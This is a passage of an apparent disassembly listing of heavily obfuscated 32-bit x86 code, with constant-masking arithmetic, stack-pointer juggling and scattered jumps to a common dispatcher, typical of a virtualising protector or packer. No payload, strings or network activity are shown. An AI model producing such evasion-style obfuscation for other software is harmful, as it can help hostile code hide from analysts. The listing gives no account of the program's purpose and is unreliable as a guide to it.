		push	ebp
		jmp	loc_58BF8A
; ---------------------------------------------------------------------------


loc_592ABD:				; CODE XREF: sdfs____:00593484j
		add	bl, 0D4h
		jmp	loc_58FB1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5934D7


loc_592AC5:				; CODE XREF: sub_5934D7+4BB6j
		pop	esi
		add	[esp+8+var_4], esi
		jmp	loc_5976DD
; END OF FUNCTION CHUNK	FOR sub_5934D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC6C


loc_592ACF:				; CODE XREF: sub_58EC6C+1j
		push	2
		mov	ebp, [esp+8+var_8]
		jmp	loc_591CED
; END OF FUNCTION CHUNK	FOR sub_58EC6C
; ---------------------------------------------------------------------------


loc_592ADC:				; CODE XREF: sdfs____:00596568j
		add	esi, 55366E36h
		sub	esi, 458A26A0h
		add	esi, eax
		add	esi, 458A26A0h
		sub	esi, 55366E36h
		jmp	loc_58C528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592AFB:				; CODE XREF: sub_594228-5016j
		jo	loc_58F838
		add	esi, 0A17C92E8h
		mov	edx, esi
		jmp	loc_597FD5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		jmp	loc_597ABC
; ---------------------------------------------------------------------------


loc_592B3C:				; CODE XREF: sdfs____:005960E6j
		not	ebp
		shr	ebp, 3
		jmp	loc_5935F1
; ---------------------------------------------------------------------------


loc_592B46:				; CODE XREF: sdfs____:0058FF45j
		sub	edx, ecx
		pop	ecx
		jmp	loc_598A5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_592B4E:				; CODE XREF: sub_595678-5B60j
		pop	ecx
		add	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_58CC16
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_592B64:				; CODE XREF: sub_58BC4E+9j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], edi
		push	eax
		mov	eax, 4C740CBBh
		dec	eax
		or	eax, 4A312A9Dh
		jmp	loc_592565
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5950CE
; ---------------------------------------------------------------------------


loc_592B9D:				; CODE XREF: sdfs____:00594F3Ej
		add	al, 35h
		add	al, bl
		sub	al, 35h
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	6143h
		mov	[esp], eax
		mov	eax, 2
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_590826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_592BCD:				; CODE XREF: sub_5962EB-5FB9j
		not	ebp
		xchg	ebp, ebx
		inc	ebx
		push	465h
		jmp	loc_58DD9C
; END OF FUNCTION CHUNK	FOR sub_5962EB

; =============== S U B	R O U T	I N E =======================================



sub_592BDC	proc near		; CODE XREF: sub_5987BC-959Ej

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	sub_59377D
sub_592BDC	endp

; ---------------------------------------------------------------------------


loc_592BE7:				; CODE XREF: sdfs____:00590527j
		add	ch, 0E9h
		dec	ch
		jp	loc_590FE7
		xor	ch, 2Ch
		push	ebx
		jmp	loc_58F6F0
; ---------------------------------------------------------------------------
		mov	edi, [esp]


loc_592BFE:				; CODE XREF: sdfs____:0058BE82j
		add	ebx, 0DCEAAA9Fh
		jmp	loc_58DFE6
; ---------------------------------------------------------------------------


loc_592C09:				; CODE XREF: sdfs____:00596A88j
		xor	ebx, edi
		jmp	loc_59678D
; ---------------------------------------------------------------------------


loc_592C10:				; CODE XREF: sdfs____:0058FFD2j
		add	esp, 4
		push	edx
		jmp	loc_594C82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592C19:				; CODE XREF: sub_594228-3585j
		sub	al, 0DCh
		add	al, dh
		jmp	loc_593BE0
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_592C22:				; CODE XREF: sub_595678-1BF9j
		mov	eax, 715A5B6Ch
		or	ecx, eax
		pop	eax
		jmp	loc_594F55
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_592C3E:				; CODE XREF: sdfs____:0058E39Dj
		push	edi
		mov	edi, 0A9B85E82h
		sub	ecx, edi
		pop	edi
		sub	ebx, 5B5462C2h
		add	ebx, ecx
		add	ebx, 5B5462C2h
		pop	ecx
		add	ebx, 2
		jmp	loc_59659F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_592C5E:				; CODE XREF: sub_5917C0+3F5Aj
		add	esi, 0CF84D17h
		jns	loc_593B8A
		sub	esi, 0F8F81BC6h
		mov	edi, esi
		pop	esi
		mov	ch, 28h
		pop	ebx


loc_592C76:				; CODE XREF: sdfs____:00593170j
		sub	ecx, 4
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], eax
		push	esp
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_5948FB
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_592C8F:				; CODE XREF: sub_591435+4991j
		xor	ch, ah
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		sub	al, ch
		mov	ecx, [esp+14h+var_14]
		push	24BDh
		mov	[esp+18h+var_18], ebx
		jmp	loc_59891C
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_592CA9:				; CODE XREF: sdfs____:00592998j
		add	esp, 4
		mov	ebp, eax
		pop	eax
		and	ebp, 4DD944B7h
		jmp	loc_5965C7
; ---------------------------------------------------------------------------


loc_592CBD:				; CODE XREF: sdfs____:00597C31j
		pop	cx
		jmp	loc_5923B5
; ---------------------------------------------------------------------------


loc_592CC4:				; CODE XREF: sdfs____:loc_593C9Fj
		add	ebx, 508575F5h
		mov	edx, ebx
		pop	ebx
		shr	edx, 5
		neg	edx
		jmp	loc_59563D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_592CD7:				; CODE XREF: sub_5941BD-1207j
		mov	ecx, ebx
		pop	ebx
		shl	ecx, 6
		xor	ecx, 2E2771FAh
		jmp	loc_591CAA
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_592CE8:				; CODE XREF: sdfs____:00597C2Aj
		and	ebx, 75A15E99h
		sub	ebx, 20420Ch
		sub	edi, 27655276h
		add	edi, ebx
		jmp	loc_58FB4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_592D01:				; CODE XREF: sub_5941BD-67D3j
		push	[esp+8+var_8]
		jmp	loc_593E92
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_592D09:				; CODE XREF: sdfs____:0059810Cj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		sub	edx, 23BD14DCh
		sub	edx, 71441CBDh
		add	edx, eax
		add	edx, 71441CBDh
		push	edi
		mov	edi, 180A2207h
		or	edi, 22796D37h
		sub	edi, 1
		jmp	loc_5924EC

; =============== S U B	R O U T	I N E =======================================



sub_592D3F	proc near		; CODE XREF: sub_591435+14D8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D0D5 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 1C8F0645h
		or	ecx, ebx
		pop	ebx
		jmp	loc_58D0D5
sub_592D3F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_592D52:				; CODE XREF: sdfs____:0058ECC7j
					; sub_591435+6576j
		sub	al, 0C3h
		sub	al, 0D3h
		mov	ebx, [esp+0]
		jmp	loc_597576
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_592D5E:				; CODE XREF: sub_58BAD7+2463j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		push	eax
		mov	eax, 7C964FF2h
		sub	[esp+4], eax
		pop	eax
		pop	ebp
		jmp	loc_59434E
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_592D87:				; CODE XREF: sub_59841F-6AF0j
					; sub_59841F-4172j
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		push	small word ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_590337
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_592D9E:				; CODE XREF: sub_5987BC:loc_58CC74j
		jmp	loc_5943DC
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_592DA3:				; CODE XREF: sdfs____:00593C08j
		pop	esp
		add	bl, 0CBh
		push	ecx
		mov	ch, 0F4h
		sub	ch, 0B5h
		and	ch, 81h
		not	ch
		push	ebx
		mov	bh, 0BAh
		sub	ch, 4Ah
		add	ch, bh
		add	ch, 4Ah
		jmp	loc_598DC5
; ---------------------------------------------------------------------------


loc_592DC2:				; CODE XREF: sdfs____:0058E656j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_58C032
; ---------------------------------------------------------------------------


loc_592DD9:				; CODE XREF: sdfs____:005986B2j
		neg	eax
		sub	eax, 496878ECh
		or	ebx, eax
		pop	eax
		xor	ebx, 56F779D3h
		add	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 2
		jmp	loc_58D8C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_592DF7:				; CODE XREF: sub_591370+7030j
		mov	esi, 4
		add	ebp, 730E780Ah
		add	ebp, esi
		sub	ebp, 730E780Ah
		jmp	loc_598989
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_592E0F:				; CODE XREF: sdfs____:0058E585j
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_597858
; ---------------------------------------------------------------------------


loc_592E27:				; CODE XREF: sdfs____:00594841j
		mov	dh, 77h
		push	0
		sub	[esp], dh
		jmp	loc_590C10
; ---------------------------------------------------------------------------


loc_592E36:				; CODE XREF: sdfs____:0059505Dj
		dec	edx
		inc	edx
		add	edx, 64F724F2h
		add	edx, 61E76545h
		and	edx, 2283D12h
		push	ebp
		mov	ebp, 220C116Fh
		dec	ebp
		dec	ebp
		jmp	loc_5984AA
; ---------------------------------------------------------------------------


loc_592E57:				; CODE XREF: sdfs____:00596C87j
		add	edi, esi
		pop	esi
		add	edi, 2
		jmp	loc_5981C1
; ---------------------------------------------------------------------------


loc_592E65:				; CODE XREF: sdfs____:005942E0j
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_594910
; ---------------------------------------------------------------------------


loc_592E83:				; CODE XREF: sdfs____:0058BFB7j
		xor	ch, 0C7h
		xor	dh, ch
		jmp	loc_58C63C
; ---------------------------------------------------------------------------


loc_592E8D:				; CODE XREF: sdfs____:0059697Cj
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		xor	ecx, 0FC6DCE26h
		mov	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		jmp	loc_595974
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_592EA8:				; CODE XREF: sub_591435-3747j
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 6DE63EC4h
		xor	edx, 266C1017h
		jmp	loc_5977A3
; ---------------------------------------------------------------------------


loc_592EC0:				; CODE XREF: sub_591435+C41j
		push	493Dh
		mov	[esp+4+var_4], eax
		mov	al, 0CCh
		push	ecx
		push	ebx
		mov	bh, 39h
		mov	ch, bh
		pop	ebx
		shr	ch, 6
		jmp	loc_591952
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_592ED9:				; CODE XREF: sdfs____:00598472j
		shr	ecx, 4
		jmp	loc_58BAB2
; ---------------------------------------------------------------------------


loc_592EE1:				; CODE XREF: sdfs____:00590325j
		xor	ecx, ebx
		jmp	loc_58C53B
; ---------------------------------------------------------------------------


loc_592EE8:				; CODE XREF: sdfs____:00594B44j
		xor	edi, 44B55C1Dh
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_58C0C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_592EF8:				; CODE XREF: sub_591AD9-2652j
		shr	eax, 0Eh
		xor	eax, ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_595AC4
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------


loc_592F11:				; CODE XREF: sdfs____:00598B73j
		xchg	ebx, [esp]
		jmp	loc_594158
; ---------------------------------------------------------------------------


loc_592F19:				; CODE XREF: sdfs____:0059157Cj
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_592F24:				; CODE XREF: sdfs____:loc_597A7Dj
		xor	ebx, 3BE0C4F2h
		mov	ecx, ebx
		pop	ebx
		xor	edi, ecx
		jmp	loc_58FE42
; ---------------------------------------------------------------------------


loc_592F34:				; CODE XREF: sdfs____:00594C23j
		push	2AAAh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_594124

; =============== S U B	R O U T	I N E =======================================



sub_592F43	proc near		; CODE XREF: sub_5917AD+Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BB38 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BF0D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C774 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059083E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005938C6 SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 20C14D4h
		xor	ebx, 20C14D0h
		add	edi, ebx
		push	[esp+4+var_4]
		jmp	loc_59083E
sub_592F43	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 2F741846h
		xor	ebp, 8466459h
		jmp	loc_590C2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_592F7B:				; CODE XREF: sub_590561+77F5j
		mov	si, 7BA1h
		and	dx, si
		pop	si
		jmp	loc_5901C3
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------


loc_592F89:				; CODE XREF: sdfs____:00597650j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_596241
; ---------------------------------------------------------------------------


loc_592F98:				; CODE XREF: sdfs____:00598A05j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5920AC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_593A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_592FB0:				; CODE XREF: sub_5941BD-30E9j
		sub	ebx, 6FB5FE02h
		jmp	loc_592CD7
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592FBB:				; CODE XREF: sub_594228-7C83j
		inc	edi
		js	loc_597E8D
		push	edx
		jmp	loc_590CA8
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_592FC8:				; CODE XREF: sub_58CDE6+370Dj
		xor	[esp+0], ebx
		push	ecx
		push	5F5Ch
		jmp	loc_5986B7
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
		xchg	bl, [esp]
		xchg	ch, bl
		not	ch
		jmp	loc_596917
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_592FE2:				; CODE XREF: sub_5941BD-752Bj
		pop	ecx
		jmp	loc_58C7F6
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_592FE8:				; CODE XREF: sub_58FA0A+780j
		add	ecx, 3AE516B9h
		pop	esi
		jmp	loc_592A84
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; ---------------------------------------------------------------------------


loc_592FF4:				; CODE XREF: sdfs____:0058D1BBj
		mov	edi, 0D64D1F3h
		sub	edx, edi
		pop	edi
		sub	eax, edx
		pop	edx
		jmp	loc_58BDD0
; ---------------------------------------------------------------------------


loc_593004:				; CODE XREF: sdfs____:00597100j
		xor	edx, esi
		jmp	loc_592033
; ---------------------------------------------------------------------------


loc_59300B:				; CODE XREF: sdfs____:005951C8j
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_593017:				; CODE XREF: sub_5917C0-2D68j
		pop	dx
		jmp	loc_593EFB
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59301E:				; CODE XREF: sdfs____:0058E940j
		pop	edx
		or	ebx, 2590270Ch
		sub	ebx, 75AD5B03h
		jge	loc_58C659
		push	ebp
		jmp	loc_595EDD
; ---------------------------------------------------------------------------


loc_593037:				; CODE XREF: sdfs____:00597BC3j
		shl	eax, 3
		sub	eax, 0B070B10Ch
		mov	ecx, eax
		pop	eax
		jmp	loc_595493
; ---------------------------------------------------------------------------


loc_593047:				; CODE XREF: sdfs____:00598001j
		jmp	loc_591898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_59304C:				; CODE XREF: sub_594F18-6F37j
		mov	edi, 189D5CE3h
		sub	edi, 0BA4725B3h
		mov	ebx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		and	ebx, 61152A2Eh
		and	ebx, 515469D9h
		jb	loc_5981C9
		add	ebx, 0BFF3E000h
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_58E510
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_59308A:				; CODE XREF: sdfs____:0059092Bj
		xor	esi, ecx
		pop	ecx
		jmp	loc_59173F
; ---------------------------------------------------------------------------


loc_593092:				; CODE XREF: sdfs____:005934BFj
		pop	esi
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_593098:				; CODE XREF: sdfs____:00591C58j
		add	dword ptr [esp], 4
		jmp	loc_597152
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5930A1:				; CODE XREF: sub_594228-7E41j
		mov	esi, 3E8A781Bh
		push	ebx
		mov	ebx, 33F45AF4h
		jmp	loc_5907F6
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_5930B1:				; CODE XREF: sub_58FE99+33B7j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_5930B6:				; CODE XREF: sdfs____:005941A2j
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58F616
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5930CF:				; CODE XREF: sub_594228+3A80j
		add	esi, ecx
		pop	ecx
		add	eax, esi
		jmp	loc_595C16
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 1Eh
		shr	cl, 7
		shl	cl, 6
		push	ebx
		mov	bh, 3Ah
		or	cl, bh
		pop	ebx
		and	cl, 1Bh
		sub	cl, 18h
		sub	cl, 5Fh
		jmp	loc_596986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5930FF:				; CODE XREF: sub_5962EB-8200j
		push	ecx
		mov	ecx, 472B251Bh
		and	ecx, 1709417Dh
		dec	ecx
		push	eax
		mov	eax, 709011Ch
		xor	ecx, eax
		jmp	loc_58F628
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_593119:				; CODE XREF: sdfs____:0058FF16j
		xor	bh, 0D8h
		add	dl, bh
		pop	ebx
		xor	dl, 0AFh
		jmp	loc_58CC97
; ---------------------------------------------------------------------------


loc_593127:				; CODE XREF: sdfs____:00592A32j
		mov	ebx, 20EE5E72h
		jmp	loc_58CD00

; =============== S U B	R O U T	I N E =======================================



sub_593131	proc near		; CODE XREF: sub_5962EB-1886j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590DE8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00593FF2 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 70734B21h
		inc	ebp
		and	ebp, 2BC72F7Fh
		and	ebp, 211E0B44h
		neg	ebp
		xor	ebp, 0A8DA9C83h
		add	edx, ebp
		pop	ebp
		xor	ebx, edx
		pop	edx
		and	ebp, ebx
		pop	ebx
		or	ebp, 72D62E5h
		sub	ebp, 0FED5EEDh
		and	eax, ebp
		pop	ebp
		jmp	loc_593FF2
sub_593131	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_593169:				; CODE XREF: sdfs____:0058C1CFj
		pop	ecx
		add	ecx, 4
		jmp	loc_592C76
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 35DB2D13h
		sub	eax, 169E38C4h
		sub	eax, 18825F08h
		sub	eax, ebp
		jmp	loc_5932A1
; ---------------------------------------------------------------------------


loc_59318D:				; CODE XREF: sdfs____:00593326j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_58C387
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5931AA:				; CODE XREF: sub_591370+C97j
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		and	eax, edx
		push	[esp-18h+arg_14]
		pop	edx
		push	ebp
		jmp	loc_598397
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_5931C4:				; CODE XREF: sdfs____:00593F9Aj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 2
		add	esi, 49413D89h
		add	esi, ebx
		sub	esi, 49413D89h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5931FF:				; CODE XREF: sdfs____:005925E1j
		xor	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		xor	edx, ecx
		pop	ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E146


loc_59321D:				; CODE XREF: sub_58E146+32AAj
		mov	[esp+8+var_8], esp
		jmp	loc_58D5DD
; END OF FUNCTION CHUNK	FOR sub_58E146
; ---------------------------------------------------------------------------


loc_593225:				; CODE XREF: sdfs____:00597416j
		pop	edx
		add	eax, edx
		jmp	loc_58C484
; ---------------------------------------------------------------------------


loc_59322D:				; CODE XREF: sdfs____:0058DA48j
					; sdfs____:005950C7j
		add	ch, 0FFh
		push	ax
		jmp	loc_58D6BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_593237:				; CODE XREF: sub_58FE99+6DFAj
		add	edi, ecx
		pop	ecx
		push	edi
		push	[esp+14h+var_10]
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		dec	[esp+0Ch+var_C]
		pushf
		jmp	loc_5930B1
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_593255:				; CODE XREF: sub_58E92A+9FB8j
		xor	eax, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], eax
		xor	eax, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		add	eax, 3376EA9h
		movzx	ax, byte ptr [eax]
		jmp	loc_5936B6
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------


loc_59326F:				; CODE XREF: sdfs____:loc_598BB3j
		xor	eax, 1DF834FFh
		jmp	loc_58CE8F
; ---------------------------------------------------------------------------


loc_593279:				; CODE XREF: sdfs____:0058BC43j
		and	ecx, 5F4C2A7Ch
		and	ecx, 7F2915ADh
		add	ecx, 7003219Dh
		push	ebp
		jmp	loc_58C83B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593291:				; CODE XREF: sub_591435+1FB4j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_58BE43
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59329C:				; CODE XREF: sdfs____:005951EBj
		jmp	loc_5936F3
; ---------------------------------------------------------------------------


loc_5932A1:				; CODE XREF: sdfs____:00593188j
		add	eax, 18825F08h
		add	eax, 169E38C4h
		mov	ebp, [esp]
		jmp	loc_598634
; ---------------------------------------------------------------------------


loc_5932B3:				; CODE XREF: sdfs____:005922FDj
		push	dword ptr [esp+4]
		jmp	loc_58E365
; ---------------------------------------------------------------------------


loc_5932BC:				; CODE XREF: sdfs____:005954A5j
		xor	ecx, eax
		pop	eax
		add	eax, ecx
		jmp	loc_58EBD7
; ---------------------------------------------------------------------------


loc_5932C6:				; CODE XREF: sdfs____:0059714Dj
		add	esp, 4
		push	4CB6h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5922F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5932E2:				; CODE XREF: sub_5917C0+57AFj
		mov	[esp-4+arg_0], edx
		push	ebx
		mov	ebx, 1B41FBAh
		inc	ebx
		jnz	loc_59653C
		sub	ebx, 86D3E631h
		mov	edx, ebx
		pop	ebx
		push	esi


loc_5932FC:				; CODE XREF: sdfs____:0059234Bj
		sub	al, dh
		jmp	loc_58EE50
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_593303:				; CODE XREF: sub_5941BD+9B8j
		add	esp, 4
		and	ecx, eax
		jmp	loc_598876
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_593310:				; CODE XREF: sdfs____:005920C8j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mul	ecx
		push	7ADFh
		mov	[esp], edx
		push	edi
		mov	edi, esp
		jmp	loc_59318D
; ---------------------------------------------------------------------------


loc_59332B:				; CODE XREF: sdfs____:005942A5j
		push	1A4214D5h
		pop	ebp
		push	6905h
		mov	[esp], ebp
		pop	edx
		pop	ebp
		sub	[esp+4], edx
		jmp	loc_5918EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_593344:				; CODE XREF: sub_5985AE-C2D5j
		sub	ecx, edx
		pop	edx
		inc	ecx
		push	3513h
		mov	[esp+4+var_4], ebx
		mov	ebx, 72725B12h
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_58DEBE
; END OF FUNCTION CHUNK	FOR sub_5985AE
